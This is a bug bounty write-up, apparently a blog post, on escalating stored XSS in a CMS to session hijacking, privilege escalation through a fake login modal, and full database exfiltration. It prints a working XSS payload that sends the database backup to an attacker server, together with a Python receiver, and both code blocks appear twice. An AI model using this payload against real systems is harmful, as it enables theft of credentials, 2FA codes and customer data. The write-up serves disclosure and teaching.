May 14, 2026
XSS to Database Exfiltration
After identifying dozens of XSS vulnerabilities, as explained in my previous write-up, the next step was to maximize their impact.
He4am
4 min read
The Story of 45+ Stored XSS Bugs The Story of 45+ Stored XSS Bugs During a bug bounty on a popular open-source CMS platform, I identified over 45…
Usually, the first trick attackers try after finding an XSS vulnerability is hijacking the session cookie. But what if the HttpOnly flag is enabled? Is the impact really limited because the attacker cannot steal the session?
This is not true. XSS exploitation is fundamentally about executing arbitrary client-side code in the context of the victim's session — that is the real attack surface it gives us. For example, if an administrator executes your XSS payload, your JavaScript runs with their privileges, allowing you to perform almost any action they are permitted to do.
While this deeply depends on the target's attack surface and context, in this write-up, I will share three methods I used to escalate standard XSS vulnerabilities into critical impacts:
- Session Hijacking (bypassing
HttpOnly) - Admin Privilege Escalation
- and finally, Full Database Exfiltration
Session Hijacking (Bypassing HttpOnly Protection)
When a session cookie is HttpOnly, JavaScript cannot access it via document.cookie. This is a good defense, but it can be bypassed. Another approach, which doesn't involve stealing the cookie at all, is chaining XSS with a CSRF misconfiguration to ride the victim's session directly, as I covered in a previous write-up about bypassing SameSite protection. Another trick is discovering if the application reflects the cookie value anywhere on a page the victim can access. If it does, the HttpOnly flag is (kinda) useless.
The Attack
The target application had a built-in "PHP Info" utility page for administrators. This page outputs all environment variables and HTTP headers, including the raw, unmasked session cookie. In fact, the cookie was exposed in multiple places on the page: HTTP_COOKIE, Cookie, $_SERVER['HTTP_COOKIE'], and $_COOKIE['<cookie-name>'].
Instead of reading document.cookie, I crafted an XSS payload that forces the administrator's browser to silently fetch the PHP Info page. It then uses a regular expression to extract the unmasked session cookie from the HTML and sends it to my server.
When an administrator viewed the page containing the XSS, their session was instantly hijacked without any user interaction.
The same technique applies if you find any exposed phpinfo() page during recon — a useful trick to keep in mind when escalating lower-severity findings.
Admin Privilege Escalation
Can't hijack the session? No problem, just use it…
Even without stealing a cookie, XSS lets you ride the victim's session to perform authenticated actions. However, some modern applications (like the target application here) use an "elevated session" for sensitive actions, like changing user permissions.
This means the user must re-enter their password before performing the action. However, once the password is entered, the target grants an active elevated session that lasts for a few minutes. If this elevated session is currently active, the application won't ask for the password again, even for highly sensitive actions.
The Attack
I wanted to use an XSS to escalate my low-privileged account to a full Admin role. To bypass the elevated session requirement, there are two approaches:
- The Direct Approach: The payload sends the permission-change request in the background. If the admin recently entered their password and their elevated session is still active, the request succeeds instantly.
- The Phishing Overlay (Modal) Approach: If the elevated session is expired, the XSS injects custom HTML and CSS to display a native-looking "Session Expired — Please re-authenticate" login modal. Since this is exactly what the application normally shows administrators, they will likely enter their credentials. The password is then sent directly to the attacker. This method is even more impactful because it leaks the admin's password in plain-text, which can often be reused across other services.
Full Database Exfiltration
Why stop at one session when you can steal the entire database? The target application allowed administrators to generate and download database backups directly from the dashboard.
The backup feature is not doing anything special under the hood — it is just an authenticated POST request that the server responds to with a compressed database file (.sql.zip). Since we already have XSS execution in the context of an admin session, we can make that exact same request and intercept the response. The script reads the backup file as a binary blob and uploads the entire thing to our server via a FormData POST request.
The Payload
<img src=x onerror="
fetch('/actions/utilities/db-backup', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'CSRF_TOKEN=' + csrfToken
})
.then(r => r.blob())
.then(b => {
let f = new FormData;
f.append('db', b, 'backup.sql');
fetch('http://<ATTACKER-SERVER>:8888/', { method: 'POST', body: f });
})
"><img src=x onerror="
fetch('/actions/utilities/db-backup', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'CSRF_TOKEN=' + csrfToken
})
.then(r => r.blob())
.then(b => {
let f = new FormData;
f.append('db', b, 'backup.sql');
fetch('http://<ATTACKER-SERVER>:8888/', { method: 'POST', body: f });
})
">Note:
csrfTokenis a JavaScript variable exposed by the application containing the current CSRF token. This is what makes the request legitimate from the server's perspective — the XSS rides the admin's authenticated session and passes a valid CSRF token.
The Receiver
To receive the file, I hosted a minimal Python server. It accepts the multipart POST, saves the blob to disk, and prints a confirmation:
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi, os
from datetime import datetime
class Handler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST')
self.end_headers()
def do_POST(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
content_type = self.headers.get('Content-Type', '')
if 'multipart/form-data' in content_type:
form = cgi.FieldStorage(
fp=self.rfile, headers=self.headers,
environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': content_type}
)
if 'db' in form:
filename = f"exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}.sql.zip"
with open(filename, 'wb') as f:
f.write(form['db'].file.read())
print(f"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)")
self.wfile.write(b"OK")
if __name__ == '__main__':
print("[*] Listening on http://0.0.0.0:8888")
HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi, os
from datetime import datetime
class Handler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST')
self.end_headers()
def do_POST(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
content_type = self.headers.get('Content-Type', '')
if 'multipart/form-data' in content_type:
form = cgi.FieldStorage(
fp=self.rfile, headers=self.headers,
environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': content_type}
)
if 'db' in form:
filename = f"exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}.sql.zip"
with open(filename, 'wb') as f:
f.write(form['db'].file.read())
print(f"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)")
self.wfile.write(b"OK")
if __name__ == '__main__':
print("[*] Listening on http://0.0.0.0:8888")
HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()The moment an administrator opened the vulnerable page, their browser silently triggered the backup utility, read the response, and streamed the entire database to my server. This exfiltrated everything: password hashes, 2FA recovery codes, and customers PII.
Conclusion
The severity of an XSS vulnerability is rarely just about the XSS itself. It's about what the victim can do.
As we saw, you can hijack sessions even if the cookies are protected by HttpOnly, escalate your privileges, and even exfiltrate the entire database if the application has such a backup feature.
Finally, Thanks for reading, and I hope you found it useful!